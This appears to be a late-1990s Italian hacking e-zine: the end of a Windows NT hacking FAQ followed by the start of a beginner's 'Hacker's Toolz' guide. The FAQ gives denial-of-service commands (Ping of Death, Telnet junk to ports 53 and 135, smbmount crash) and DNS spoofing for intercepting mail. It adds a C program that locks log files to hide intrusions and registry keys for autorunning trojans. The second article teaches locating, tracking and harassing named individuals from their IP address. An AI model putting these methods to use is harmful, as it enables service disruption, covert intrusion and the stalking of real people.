|In genere è usanza dei Webmaster scrivere nelle pagine Web "Noi usiamo Windows |
|NT" o qualcosa del genere, ma nella maggioranza dei casi ci limiteremo a control|
|lare che la porta 135 sia aperta (tramite un port scanner o una semplice connes-|
|sione via Telnet). |
| |
|A questo punto bastera` dare un'occhiata ai registry: se |
|HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT esiste, saremo sicuri che non si|
|tratti di Windows 95. |
|Infine, uno sguardo alla key \CurrentVersion\CurrentVersion ci permetterà di ca-|
|pire di quale versione si tratta. |
|In alternativa, si puo` controllare l'esistenza delle porte del NetBios (137 e |
|139) e dei servizi SMB. |
| |
| QUESITO 11: Come faccio ad utilizzare il modo di trasferimento passivo sul |
| server FTP se non e` attivo? |
| |
|Se il server FTP utilizzato è quello di default (Microsoft), basterà editare una|
|key dei registry di Windows NT: |
| |
|System\CurrentControlSet\Services\MSFTPSVC\Parameters |
|chiave: EnablePortAttack,REG_DWORD e abilitarla settandola a 1. |
| |
| QUESITO 12: Come trashare un sistema che utilizza NT? |
| |
|Se lasciamo perdere i metodi "tradizionali" (lavorando sui file), eccone alcuni |
|"alternativi" da far gustare al SysAdmin... |
| |
|Aprendo una connessione Telnet alla porta 53 del server e digitando una decina |
|di caratteri a caso seguiti da invio, bloccheremo il DNS del server fino al riav|
|vio del sistema... niente più host name, solo IP address! |
| |
|Oppure magari vogliamo trasformare il suo Pentium II 233 Mhz in uno 8086 8 Mhz? |
|Niente di più facile, basta collegarsi via Telnet (come sopra) alla porta 135. |
|Se la porta risponde, facendo come nel caso del DNS, avremo rallentato del 100% |
|la velocità della CPU... |
| |
|E se poi il SysAdmin utilizza IIS Microsoft come Web server, una connessione al-|
|la porta 1031 gli farà passare la voglia di usare i programmi di Bill Gates. |
|Oppure possiamo collegarci alla porta 80 e inviare "GET ../.." per crashare il |
|tutto... |
| |
|Per causare un riavvio improvviso del sistema o un crash (solo con NT inferiore |
|alla versione 4.0 e NT senza Hotfix) si può utilizzare una tecnica conosciuta |
|con il nome di "Ping of Death". Si tratta di inviare un pacchetto ICMP enorme. |
|Ecco cosa succederà: il server riceverà il pacchetto in forma frammentata, quin-|
|di sotto forma di moltissimi piccoli pacchetti. Quando tenterà di riassemblarli,|
|si avrà un buffer overflow e potranno accadere le cose più disparate. Da Windows|
|95 e Windows NT basta digitare: |
| |
| ping -165527 -s 1 nomevittima |
| |
|L'attacco del SYN flood (o del FIN flood) implica un invio di una quantità enor-|
|me di pacchetti forgiati con un IP address sorgente non esistente. Windows NT è |
|vulnerabile fino alla versione 4.0 senza Hotfix. |
| |
|Infine, ad un più alto livello, inviando ad un server NT 4.0 un semplice pacchet|
|to DNS di risposta (senza che il server lo abbia richiesto), DNS crasherà. |
| |
|Con il comando smbmount su Linux 2.0.28+ si può inoltre causare un crash con er-|
|rore di protezione su un server, eseguendo il comando: |
| |
| smbmount //vittima/servizio /mnt -U nomeclient |
| |
|Se il file ROLLBACK.EXE è presente sul server (o se ce lo mettiamo noi...) pos- |
|siamo eseguirlo e goderci lo spettacolo: i Registry verranno completamente az- |
|zerati. Inoltre, se blocchiamo una porta (ad esempio la 19, detta chargen) il |
|server eseguirà automaticamente ROLLBACK per cercare di risolvere il problema...|
| |
|Per chi poi conosce a fondo hacking e spoofing, la cosa più divertente resta la |
|forgiatura dei pacchetti DNS (di tipo UDP). |
|Effettuando una richiesta DNS e utilizzando uno sniffer per intercettare i pac- |
|chetti di risposta e catturare i numeri ID di riposta DNS è possibile inviare |
|falsi pacchetti DNS a un server in modo che chiunque chieda il suo IP address la|
|risposta sia quella che desideriamo. In pratica, chiunque si collegherà a quel |
|server si collegherà in pratica al server che vogliamo noi, dato dall'IP address|
|che abbiamo inviato nel pacchetto "forgiato". |
| |
|Con questo metodo, applicato ad altri servizi, è possibile fare copie di tutte |
|le email che transitano sul sistema, inibire l'accesso ai servizi, re-routing, e|
| molto altro ancora. |
| |
| QUESITO 13: Come impedire a chiunque, anche al SysAdmin, di accedere a uno o |
| piu` file? |
| |
|Ad esempio con questo programmino in C si può bloccare un file per quanto tempo |
|si desidera, passando (al programma) il nome del file da bloccare: |
| |
+--------------------------------INIZIO-CODE-------------------------------------+
| |
| #include <windows.h> |
| |
| void main(int ac, char *av[]) |
| { |
| HANDLE fp; |
| fp = CreateFile(av[1], FILE_READ_DATA, 0, 0, OPEN_EXISTING, 0, 0); |
| if (fp == INVALID_HANDLE_VALUE) exit(GetLastError()); |
| Sleep(60000) //tempo di bloccaggio espresso in: secondi * 1000 |
| exit(0); |
| } |
| |
+----------------------------------FINE-CODE-------------------------------------+
| |
|A che può servire bloccare un file? Beh, ad esempio, se blocchiamo un file di |
|log per un'ora e hackeriamo il server per un'ora, il SysAdmin non ne saprà mai |
|niente... |
| |
| QUESITO 14: Cos'altro si puo` fare con i Registry? |
| |
|Troppo lungo da spiegare... come dico sempre, basta usare la fantasia... Comun- |
|que ci sono un paio di cosette ancora. Ad esempio, per effettuare il logging del|
|PPP basta selezionare... |
| |
| HKEY_LOCAL_MACHINE\CurrentControlSet\Services\RasMan\PPP |
| valore = Logging |
| valore = REG_DWORD |
| valore = 1 (settare questo valore) |
| |
|mentre per abilitare quello della seriale basta selezionare Parameters (anziché |
|PPP) come ultimo valore della key. |
| |
|Una cosa molto utile è la possibilità di eseguire le applicazioni che abbiamo |
|inviato (troiani, ad esempio) e per farlo possiamo modificare una di queste due |
|keys... |
| |
| HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VXD |
| |
|aggiungendo una nuova key di tipo StaticVxd e inserendo il percorso completo |
|dell'applicazione, oppure... |
| |
| HKEY_LOCAL_MACHINE\\Software\Classes\txtfile\shell\open\command |
| |
|per sfruttare il metodo delle associazioni (file di testo, in questo caso) per |
|eseguire la nostra applicazione. |
| |
|Il vantaggio della prima key è che l'applicazione verrà eseguita a Ring-0 (quin-|
|di con accesso completo sul sistema operativo e sulle sue risorse, anche a basso|
|livello, su memoria, disco rigido, ecc). |
| |
+--------------------------------------------------------------------------------+
| |
| [Vedere Allegato Exploit.zip contiene i sorgenti in C degli Exploit che avete |
| letto in questa Meravigliosa Enciclopedia redatta da Lord_Shinva] |
| |
+--------------------------------------------------------------------------------+
| |
| THE END |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
|Gick Zine n° 2 - [HACKING] -=[02]=- |
|Hacker's Toolz SPP #Override# |
+--------------------------------------------------------------------------------+
| |
| Gli ____ _ ___ ___ __ ______ ____ 21-10-98 |
| / __/__ (_) _ \/ _ \___ / / ___ /_ __/__ ____/ _/ ASCII |
| _\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// / by |
| /___/ .__/_/_/ /_/ \___/____|_,_//_/ \___/_/ /___/ RigoR Mortem |
| /_/ |
| Presentano: Hacker's toolz |
| Creato da : #Override# Spp-member |
| |
+--------------------------------------------------------------------------------+
| |
| (!)TUTTO IL MATERIALE CONTENUTO IN QUESTA GUIDA E' DA RITENERSI A (!) |
| (!)PURO SCOPO INFORMATIVO!!! L'AUTORE NON SI RITIENE IN ALCUN MODO(!) |
| (!)RESPONSABILE PER DANNI CAUSATI DALL'UTILIZZO DELLE INFORMAZIONI(!) |
| (!)CONTENUTE ALL'INTERNO DEL TESTO.... (!) |
| |
+--------------------------------------------------------------------------------+
| |
|...OK?? |
| |
|Bene allora si parte! |
| |
+--------------------------------------------------------------------------------+
| |
| [#] PREMESSA |
| |
|In questo primo numero tratteremo temi con esempi specifici cercando di sempli- |
|ficare al massimo gli argomenti. Questa guida infatti è stata scritta per chi è |
|alle prime armi nell'arte dell'hacking; ai piu' esperti probabilmente non sarà |
|di nessuna utilita'... |
|...una cosa però vorrei sottolineare; gran parte (non tutti ovviamente) di quest|
|temi NON sono stati copiati o tradotti dagli innumerevoli testi presenti sui |
|vari warez, ma si trattano di esperienze ed informazioni personali. |
|Fatta questa premessa, iniziamo! |
| |
+--------------------------------------------------------------------------------+
| |
| [#] IL PROVETTO RICERCATORE |
| |
|Internet è un immensa fonte di informazioni e muoversi all'interno di essa è |
|come entrare in un labirinto, dove senza un filo di Arianna che ci guidi, non |
|potremmo mai uscirne fuori (senti che eufemismi!! :-o) |
|Il nostro filo di Arianna in questo caso sono alcuni strumenti nati con l'inten-|
|to di guidarci e portare a buon fine il nostro scopo. |
|Gli strumenti di cui abbiamo bisogno sono di due tipi: quelli implementati nel |
|sistema operativo (Tracert, Ping, Nbtstat, ecc..), e quelli forniti dalla rete |
|(finger, Netfind, Whois, ecc..) |
|In questa guida mi occuperò solamente di quei toolz che permettono di rintrac- |
|ciare delle persone che utilizzano la rete e reperire più informazioni possibili|
|su di esse. A cosa serve direte voi... |
|...bè diciamo a tutto. ;-) |
| |
|Quasi tutte le tecniche usate per l'hacking si basano principalmente nel reperi-|
|re il maggior numero di info relative al sito da attaccare; è necessario sapere |
|quali prog (e versione) girano sul server vittima, per poter conoscere in segui-|
|to quale exploit utilizzare. |
|Anche la tecnica stessa del bruteforce si basa sulla ricerca di ogni dettaglio |
|riguardo l'admin del server per poterne identificare l'eventuale user o pwd. |
|Ma non trovate che sia anche utile ed interessante sapere come rintracciare una |
|determinata persona, magari qualcuno che ci stia tremendamente sulle balle |
|(vedi pedofilo!) e al quale vorremmo dare una lezione?? E magari avendo solo a |
|disposizione il suo IP, o il suo nome e dominio, trovare la sua vera mail o me- |
|glio ancora dove abita! Avere anche la possibilità di rintracciare la vittima |
|on-line quando vi pare, anche se possiede un IP dinamico!!! |
|Potreste rendergli la vita (sul Net... :) ovviamente) impossibile... non sbavate|
|però, ovviamente tutto questo dipende anche da una certa dose di cu.. fortuna, |
|nel senso che più la nostra vittima si è resa ""visibile"" in rete, più informa-|
|zioni riusciremo ad avere su di lui.Questo dovrebbe farvi capire intuitivamente |
|che è molto più facile ottenere ottimi risultati su un'amministratore di un ser-|
|ver che su un utente qualsiasi della rete. |
|Ma veniamo al dunque... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] WINDOWS UTILITY |
| |
|Installando il protocollo di rete Microsoft TCP/IP, vengono copiati alcuni file |
|in /Windows, questi file sono delle utility per Internet (e reti LAN), che spes-|
|so vengono erroneamente sottovalutate. Invece sono molto utili e si adattano |
|molto bene a diversi scopi ;-) |
| |
+--------------------------------------------------------------------------------+
| |
|Tenete presente che esistono molti programmini nei siti warez che fanno uso di |
|tali strumenti, ma vi consiglio vivamente di imparare ad utilizzarli da DOS o |
|comunque da una shell, ve lo dico per esperienza personale! |
+--------------------------------------------------------------------------------+
| |
| Tracert Mostra il percorso (HOPS) fatto da un pacchetto per raggiungere un |
| computer remoto. |
| |
| Ping Verifica la connessione di un sito e ne determina i tempi di risposta|
| |
|Gli switch dei comandi sono case-sensitive, quindi attenzione a come digitate le|
|maiuscole e le minuscole, ad es. è diverso scrivere: Ping -a da Ping -A!! |
| |
+--------------------------------------------------------------------------------+
| |
| [#] TRACERT |
| |
|E' un'utility che stabilisce il percorso verso una destinazione inviando pacchet|
|ti echo con valori variabili di Time To Live (TTL).Lungo il percorso il compito |
|di ogni ""instradatore"" è quello di abbassare di almeno una unità il TTL di un |
|pacchetto prima di consegnarlo, in pratica il TTL è un conteggio di salti (Hops)|
|Quando il TTL di un pacchetto arriva a 0, l'instradatore dovrebbe mandare indie-|
|tro un messaggio al sistema di origine.In base ai messaggi rinviati dagli |
|instradatori, viene determinato il percorso del pacchetto. (!) (Acuni instrada- |
|tori però rendono invisibili i pacchetti echo, lasciandoli esaurire senza che |
|tracert ne rilevi la traccia... provate allora col ping). |
| |
| Sintassi del comando: |
| |
| TRACERT [-d] [-h maximum_hops] [-j host-list] [-w timeout] nome_destinazione |
| |
| Opzioni: |
| |
| -d Non risolve gli indirizzi in nome host. |
| -h Numero massimo di hops per ricercare la destinazione. |
| -j Libera route di origine lungo l'elenco host. |
| -w Intervallo di timeout in millisecondi per ogni risposta. |
| nome_dest. Specifica il nome di ospite del computer di destinazione |
| |
| |
| Facciamo un'esempio: |
| |
| C:\windows> TRACERT mbox.virtualbit.it |
| |
|Rilevazione instradamento verso mbox.virtualbit.it [195.103.10.3] su un massimo |
|di 30 punti di passaggio: |
| |
| 1 115 ms 121 ms 113 ms 202.41.103.65 |
| 2 153 ms 151 ms 149 ms 202.41.103.1 |
| 3 192 ms 317 ms 189 ms 202.41.92.10 |
| 4 214 ms 188 ms 227 ms [202.41.92.1] |
| 5 186 ms 224 ms 185 ms interbusiness.it [212.41.192.2] |
| 6 * * 2684 ms r-mi3-.interbusiness.it [151.9.15.145] |
| 7 290 ms 234 ms 228 ms r-mi1-fddi.interbusiness.it [151.99.5.167] |
| 8 402 ms 486 ms 269 ms 195.31.80.134 |
| 9 303 ms 795 ms 286 ms 195.103.10.130 |
| 10 * 351 ms 941 ms 192.168.0.6 |
| 11 756 ms 475 ms 512 ms mbox.virtualbit.it [195.103.10.3] |
| |
| Rilevazione completata. |
| |
| [è solo un'esempio] |
| |
|La prima colonna riporta il numero di TTL (hops). |
|Le altre colonne indicano i tempi di andata e ritorno in millisecondi per un |
|tentativo di raggiungere l'host remoto. |
|L'ultimo hops è il server da noi analizzato (tin.it), mentre gli hops intermedi |
|sono vari routers che instradano il pacchetto. L'asterisco indica che il |
|tempo(timeout) per il tentativo è scaduto, mentre l'ultima colonna riporta il |
|nome e l'indirizzo IP dell'host. Avrete notato quindi come sia semplice ottenere|
|l'IP di un server tramite il suo nome e viceversa (NSlookup), ovvero trovare il |
|nome del server avendo solamente il suo IP. Infatti possiamo utilizzare tracert |
|su un'indirizzo numerico (IP) e determinare quale server utilizza il nostro |
|amico... potremo poi connetterci al nome del server per reperire ulteriori info |
|sulla nostra vittima (dovete sapere che molti provider usano una specie di yel- |
|low page dei propri utenti!). |
|Parleremo di come utilizzare le info reperite in questo modo nella parte relati-|
|va |agli strumenti di Internet. |
|Tracert però non sempre dà i risultati che vogliamo, ed ecco che a questo punto |
|entra in ballo un'altra utility... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Ping |
| |
|Il comando Ping è utile per controllare un collegamento con l'host remoto e |
|valutarne la velocità. |
|Viene inviato all'host in questione una serie di pacchetti ""echo"" di 64 byte |
|aspettando i pacchetti di risposta.
|
|Non è certo utile ai nostri scopi usarlo in questo modo, ma se invece lo |
|utilizziamo con dei parametri, il discorso cambia... |
| |
| Sintassi: |
| |
| PING [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v TOS] |
| |
| Opzioni: |
| |
| -t Ping è eseguito sull'host specificato finchè non viene interrotto. |
| -a Risolve gli indirizzi in nomi host. |
| -n Invia il numero di richieste di echo indicato da numero. |
| Il valore di default è 4. |
| -l Invia i pacchetti echo contenenti la quantità di dati indicati in |
| lunghezza; il default è 64 byte; il massimo è 8192. |
| -f Imposta il flag. Non frammenta il pacchetto. |
| -i TTL Imposta la ""vita"" del pacchetto col valore indicato da TTL |
| -v TOS Imposta il tipo di servizio col valore indicato da TOS. |
| -r Registra il percorso del pacchetto in uscita e del pacchetto di ritorno |
| nel campo Record Route. Numero che deve specificare da 1 a 9 ospiti. |
| -s Marca orario per il numero dei salti precisati da numero |
| -j host-list Indirizza i pacchetti per mezzo della lista degli ospiti |
| specificata da host-list.Gli ospiti vicini possono essere separati da |
| gateway intermedi. |
| -k host-list Restringe route di origine lungo l'elenco host. |
| -w Intervallo attesa ""timeout"" (in millisecondi) per ogni risposta. |
| |
|Non spaventatevi, non abbiamo bisogno di conoscere tutti i parametri del comando|
|neanch'io li ricordo tutti (li ho presi dall'help di win). Basta conoscere i più|
|importanti.... |
| |
| ping -a IP // risolve l'IP di un server in nome |
| |
| ping -w IP (intervallo) // imposta l'intervallo d'attesa |
| |
|...per i nostri scopi. Mentre è ben conosciuto l'IP Flooding come DoS: |
| |
| ping -l IP (dim.del pacchetto) // invia un ""echo"" di dim. determinate |
| ping -f IP (dim.del pacchetto) // ne evita la frammentazione (flag) |
| |
|Ma facciamo un'esempio. L'IP di un utente è facilmente determinabile sia che |
|frequenti Usenet che i servizi Chat, nel 1° caso è presente nelle proprietà del |
|msg, nel 2° se non è visualizzato (es. in ICQ) ci sono molti progZ che servono a|
|tale scopo e sono reperibili in rete, se poi abbiamo anche il suo nome, o alias |
|O altro, le cose diventano più facili. Una volta ottenuto tale numero, possiamo |
|incominciare le nostre ricerche. Supponiamo che l'IP della vittima sia |
|194.105.97.16 (casuale)... |
| |
| c:\windows> ping -a 194.105.97.16 |
| |
|(Il parametro -a sappiamo che risolve un IP num. in nome dell'host) |
| |
|Il risultato sarà del tipo... |
| |
|Esecuzione di Ping NOME_HOST [194.105.97.16] con 32 byte di dati: |
| |
| Risposta da 194.105.97.16: byte=32 durata=0ms TTL=128 |
| Risposta da 194.105.97.16: byte=32 durata=1ms TTL=128 |
| Risposta da 194.105.97.16: byte=32 durata=0ms TTL=128 |
| Risposta da 194.105.97.16: byte=32 durata=0ms TTL=128 |
| |
|Statistiche Ping per 194.105.97.16: |
| Pacchetti: Trasmessi = 4, Ricevuti = 4, Persi = 0 (0% persi), |
|Tempo approssimativo percorsi andata/ritorno in millisecondi: |
| Minimo = 0ms, Massimo = 1ms, Medio = 0ms |
| |
|...possiamo vedere così quale sia il nome del computer della vittima, oppure, se|
|fosse un server, il nome host dello stesso. |
| |
|Tenete presente comunque che se avete l'IP di un utente in tempo reale (in IRC),|
|avete già tutto ciò che vi serve per rendergli la vita difficile! |
| |
|Come?? E' semplicissimo... |
| |
| |
|...basta avere un DNS-scanner, reperibile nei warez. |
|Personalmente ho sempre preferito utilizzare Genius un progZ completo di ogni |
|utility (compreso il ping & tracert appunto), ma ce ne sono molti altri. Questa |
|utility permette la scansione di un range di IP, possiamo verificare quanti e |
|quali hosts sono online in un intervallo compreso fra due indirizzi. |
| |
|Prima di andare avanti però apriamo una piccola parentesi. |
|Come dovreste sapere l'indirizzo IP assegnato dal Provider ad un'host della sua |
|rete è dinamico, cioè cambia ad ogni connessione, ma la radice (i primi 24 bit) |
|rimane invariata. Se per esempio il mio IP è 194.10.190.18 significa che |
|appartengo ad un indirizzo di rete: |
| |
| 194.10.190.X //dove ""X"" è il n°host che mi può essere assegnato |
| |
|(a meno che si tratta di grosse sottoreti, dove l'assegnazione del n° può Variar|
|negli ultimi 16 bit .192.X e .191.X per esempio). Questo procedimento viene |
|fatto utilizzando una maschera di rete (Netmask) sovrapposta all'IP... ma per |
|questo discorso vi rimando alla lettura di testi sul protocollo TCP/IP. |
| |
|Facciamo un'esempio e torniamo alla nostra vittima in IRC; supponiamo che il suo|
|IP sia 196.41.197.36, mano al nostro DNS-scanner e inseriamo il suo IP... |
| |
|...il risultato sarà *(con un pò di fortuna) il nome del suo PC!! (risultato |
|simile lo avremmo avuto col Ping -a) |
| |
|Proprio così, avete presente quando installate windows (o altri S.O.) che |
|caricando i protocolli di rete NetBios e Client Microsoft, vi chiede di dare un |
|nome al vostro PC?... bene, quello è il nome che apparirà in rete e sarà |
|visualizzato dallo scanner! Quindi se sappiamo il nome dell'host ed a quale |
|indirizzo di rete appartiene, in futuro potremo sempre intercettarlo (se sarà |
|online, ovviamente) facendo una scansione degli indirizzi da 196.41.197.1 a |
|196.41.197.249 controllando se apparirà il suo nome!Normalmente basta una |
|scansione dei primi 50/90 n°, visto che difficilmente gli utenti della stessa |
|rete si collegano nello stesso momento, inoltre una volta trovato e attaccato, |
|se dovesse riconnettersi il server gli assegnerà il primo n° disponibile su Quel|
|la rete, accellerando così le nostre ricerche... Certo, dovremmo dedicargli par-|
|te del nostro tempo, ma ciò dipende da quanto ci stà sulle palle il nostro uten-|
|te ;-) |
| |
|*Prima ho detto "con un pò di fortuna" perchè alcuni non danno nessun nome al |
|proprio mezzo (e fanno bene)... lo scanner in questo caso vi descriverà l'host |
|come "undelevaraible host" anche se sarà attivo. |
|In questo caso sarete delusi eh? :-(( |
|Bè io non lo sarei... insomma, dovete reperire qualche dettaglio che possa |
|identificare il nostro obiettivo no?? |
|Ci sono diversi modi per farlo, uno di questi è senz'altro usando un port Scan- |
|ner! |
| |
| - Avete già preso in considerazione il mio labile stato mentale eh? - |
| |
|Stò dicendo sul serio... facendo una scansione delle porte, possiamo reperire |
|alcune importanti informazioni. Se per esempio scopriamo che è attiva la porta |
|135 o 137 nel Pc della vittima, significa (quasi certamente) che utilizza WinNT,|
|che non è un dettaglio da poco! Più ampliamo la scansione delle porte e più |
|troviamo dei dettagli propri del computer del malcapitato. |
|Mi è accaduto per esempio un paio di volte di trovare una chiave di registro ad |
|una porta alta (9000-13000), oppure era attiva una porta non specificata (una |
|backdoor?... ;-)) più specifico di così ! |
| |
|Un'altro metodo sarebbe quello di utilizzare nbtstat (di /windows) per control- |
|lare se ha il netbios attivo (e magari condivide pure qualcosa eh..), ed avere |
|altre info utili... |
|Insomma, con un pò di ingegno si determina l'obiettivo. |
| |
|Voglio fare una piccola digressione... |
|in Irc (e non solo) è ormai diffuso il noto prog NukeNabber, utilizzato per |
|proteggersi dagli attacchi via Net. Oltre a determinare l'origine dell'attacco, |
|NN è in grado di rilevare se sul proprio sistema è in corso una scansione Remota|
|delle proprie porte. Come fare ad accorgersi se la nostra vittima lo utilizza ed|
|è quindi al corrente del nostro attacco?? |
|Per poter fare il suo dovere questo prog si mette in ""ascolto"" sulle porte del|
|proprio sys, come default Nukenabber fà un listening della 19, 53, 129, ecc... |
|quindi le seguenti porte risulteranno attive!! Se facendo uno scanner troverete |
|aperte queste porte, significa che il vostro obiettivo utilizza tale programma. |
|Volete spaventarlo un pò?? 8-|=| |
| |
|Aprite una sessione telnet (come spiegato più avanti), o utilizzate un Rowclient|
|tramite Genius o altro... |
|"ma Telnet apre le sessioni solo sui server!!!" (direte voi) è vero.. ma se il |
|sistema remoto si mette in ascolto su una determinata porta, darà libero accesso|
|a qualunque tentativo di connessione sulla medesima, e se l'host in questione |
|avrà un determinato prog (come NukeN o altri port-monitor) che visualizzi tutto |
|ciò che accade sulla porta monitorata, farà apparire anche ciò che noi digitere-|
|mo tramite telnet o qualsiasi altro prog che spedisca dei caratteri !(detto |
|terra-terra!) |
|Non usate però Telnet di Winzozz perchè non accetta nessun collegamento se non |
|con un server, quindi per i nostri scopi servirà un client meno "intelligente"! |
|(ma è prorio Microsoft?!? ;-)) |
|Allora dicevo, collegatevi ad una delle porte aperte da NN (come la 129, non la |
|139 utilizzata da Win), una volta connessi tutto quello che digiterete sarà |
|visualizzato da NN !! |
|Se per esempio scriviamo "sei in grossi guai!" oppure "vattene, sei nel mio |
|territorio", il tutto sarà visibile dalla nostra vittima... bella sorpresa eh! |
|Inoltre ci sono vari progz che possono attaccare NN senza problemi, come Tear |
|drop, Nestea, Newdrop. |
|In alcuni casi è possibile anche creargli problemi al sys (come ho potuto |
|sperimentare personalmente), digitando dei catteri sufficientemente lunghi e |
|scoordinati, ma non ho ancora compreso con che criterio ciò avviene...o magari è|
|stato solo un caso :-( |
| |
| - Fine della digressione. - |
| |
|Ma torniamo a noi. |
|Se la nostra vittima invece è un utente che frequenta le news, la ricerca sarà |
|un pò più lunga ma con un pò di impegno si raggiungerà ugualmente l'obiettivo. |
|In questo caso il suo IP lo potete vedere semplicemente sotto l'header |
|(intestazione) del server NNTP, verificando nelle proprietà del msg... trovato? |
|...bene, ma i msg che vengono postati sui NG sono ovviamente datati, oramai il |
|suo IP non sarà più quello... però abbiamo comunque il suo indirizzo di rete; |
| |
| Per es. 195.12.97.X |
| |
|Dovreste capire già cosa fare... mano al Ping e via! |
|Si incomincia a pingare l'indirizzo che abbiamo facendo una scansione dal primo|
|n°; |
| |
| ping -a 195.12.97.1 |
| ping -a 195.12.97.2 |
| ecc... |
| |
|dopo pochi tentativi di solito si becca subito un host attivo (se proprio volete|
|usate uno scanner.. sfaticati!), che come risposta ci darà il nome del server a |
|cui è collegato.Se abbiamo il suo nome o alias possiamo comportarci come ho |
|descritto prima, cioè usando un dns-scanner e verificare se il suo nome host |
|coincide con quello che abbiamo. |
| |
|Esiste anche un modo per cercare degli indirizzi di chi posta sulle news... ed |
|è anche comodo da usare, ma serve solamente se l'utente che state cercando ha |
|tenuto visibile il suo vero e-mail address nelle proprietà di almeno un msg. |
|In pratica vi è utile quando vi ricordate solo il nome del tizio e dove postava,|
|ma non avete il suo indirizzo. |
| |
|Basta spedire una mail a rtfm.mit.edu (database per Usenet); |
| |
| mail-server@rtmf.mit.edu |
| |
|specificando nel corpo del messaggio ciò che desiderate ottenere; |
| |
| send usenet-addresses/nome o cognome della persona |
| |
|Se il nome della persona che cercate contiene della punteggiatura (oppure volete|
|sapere in quale altro modo è possibile sfruttare questo servizio) vi conviene |
|dare un'occhiata all'help del sito stesso; |
| |
| send usenet-addresses/help |
| |
|in ogni caso,nel giro di pochissimi giorni, otterrete quello che avrete chiesto |
|sempre tramite posta elettronica (comodo no?). |
| |
|Se invece non siamo contenti di quello che abbiamo trovato e vogliamo sapere tut|
|to il possibile sulla nostra vittima, allora si passa ai servizi che ci offre |
|Internet... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Netfind, Whois, Finger |
| |
|Si tratta di alcuni dei tanti servizi che la rete ci offre per reperire tutte le|
|informazioni di cui abbiamo bisogno. |
| |
|Per poterne fare uso è necessario (o quasi, come vedremo più avanti) l'uso di |
|TELNET! Spero che sappiate almeno di cosa si tratti... in caso contrario vi |
|rimando a qualche testo che ne spieghi le caratteristiche. E' molto importante |
|che vi leggiate gli RFC (Request For Comment) presenti sul Net per capire |
|veramente come funziona non solo telnet, ma tutto ciò che stà dietro ad Internet|
|Quindi, per chi ne è sprovvisto, mano ai motori di ricerca! Comunque per |
|rinfrescarci la memoria, molto brevemente, ne farò una descrizione... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] INTRODUZIONE A TELNET |
| |
|Telnet è un prog che permette ad un utente di comandare (in modo restrittivo) |
|una shell remota, in modo da usufruire dei suoi servizi. |
| |
| Come si utilizza? |
| |
|Dunque prendiamo il nostro telnet... c:\windows\telnet per windows, per quanto |
|riguarda Linux lo saprete sicuramente(!), il mio consiglio comunque è di aviarlo|
|da Dos, questo perchè l'interfaccia grafica di Win95 crea talvolta dei problemi |
|di connessione (andate a chiedere a Bill il perchè!) Se poi vi procurate un prog|
|Telnet un pò più decente (tipo Netterm, ma ce ne sono molti altri) che supporti |
|il comando copia-incolla, è ancora meglio (vedrete poi perché), ...ma questo è |
|un'altro discorso, per i nostri scopi va bene anche quello di windows. |
|Il comando per avviare una connessione è: |
| |
| telnet host_remoto n°porta |
| |
|dove host_remoto sarà l'indirizzo del server host al quale dovremo collegarci, |
|mentre n°porta è la porta alla quale ci si collega per avere un determinato |
|servizio. Se per esempio vogliamo collegarci ad un servizio mail (SMTP) la porta|
||sarà la n° 25 , per le news è 119, e così via... Facciamo un esempio; se ci |
|vogliamo collegare al servizio FTP della Tin, il nostro comando sarà: |
| |
| telnet ftp.volftp.tin.it 21 //la porta 21 è per il servizio FTP |
| |
|Quando vedremo apparire un messaggio con la descrizione del server significa che|
|la connessione è avvenuta. Qui di seguito riporterò le porte principali tra le |
|WKS (Well Known Services) utilizzabili su un server telnet. Per WKS si intendono|
|quelle porte (le prime 1024) che hanno di regola un valore fisso stabilito per |
|un determinato servizio (tenete conto comunque che in totale sono 65535). |
| |
| Porta Servizi |
| |
| 7 [echo] Qualunque cosa scrivi, l'host te lo ripete |
| 11 [systat] Molte info sugli utenti |
| 13 [daytime] Ora e data dell'host locale |
| 15 [netstat] Informazioni sul Networks (!) |
| 21 [ftp] Servizio trasferimento files |
| 23 [telnet] Il tuo log in. |
| 25 [smpt] Servizio mail (spedizione) |
| 39 [rlp] Risorse dell'ubicazione |
| 43 [whois] Info su host e reti |
| 53 [domain] Nome del server |
| 70 [gopher] Servizio gopher |
| 79 [finger] Informazioni sugli utenti |
| 80 [http] Sevizio Web |
| 110 [pop] Servizio mail (ricevente) |
| 119 [nntp] Servizio Usenet |
| 443 [shttp] Altro servizio Web |
| 512 [biff] Notificazione della posta |
| 513 [rlogin] Login remoto |
| [who] Who remoto |
| 514 [shell] Comandi in remoto, nessuna pwd |
| [syslog] Logging del sys remoto |
| 520 [route] Protocollo di instradamento. |
| |
|Bene, chiusa questa piccola parentesi sul funzionamento di Telnet, possiamo |
|incominciare... |
| |
+--------------------------------------------------------------------------------+
| |
| [#] Whois |
| |
|Questo servizio è presente in diversi server e contiene un database dove |
|all'interno sono memorizzati nomi, cognomi, indirizzi (e-mail) di milioni di |
|persone che frequentano Internet.Tramite questo servizio potremo reperire |
|inofrmazioni su un determinato utente partendo dal suo nome e cognome |
|(sempre che sia presente nel database), vediamo un'esempio; |
|uno dei server più capienti è senz'altro internic.net, dove per collegarsi |
|digiteremo da DOS: |
| |
| c:\windows> telnet whois.internic.net 43 |
| |
|...dove "43" è ovviamente il n° della porta per tale servizio. |
|E'possibile anche non specificare la porta, purchè venga utilizzato il nome del |
|server per intero (whois.dominio.net). |
|Basta attendere un'attimo e riceveremo la risposta dal server... |
| |
|al prompt digiteremo prima il cognome poi il nome... |
| |
| whois: pawell, jhon |
| |
|...e avremo così di seguito le informazioni relative alla persona che stiamo |
|cercando. Ovviamente per avere maggiori probabilità di riuscita è essenziale |
|utilizzare il server whois più vicino alla vittima (e questo vale anche per gli |
|altri servizi che tratterò di seguito)... Potreste provare addirittura (se siete|
|fortunati) a verificare se il provider della persona che cerchiamo abbia attivo |
|questo tipo di servizio, in questo caso la strada sarà molto più semplice ed |
|efficace. |
|Se siete incerti del nome potrete inserire solo il cognome, in questo caso whois|
|vi elencherà tutti gli utenti con la possibilità di scegliere quello che volete.|
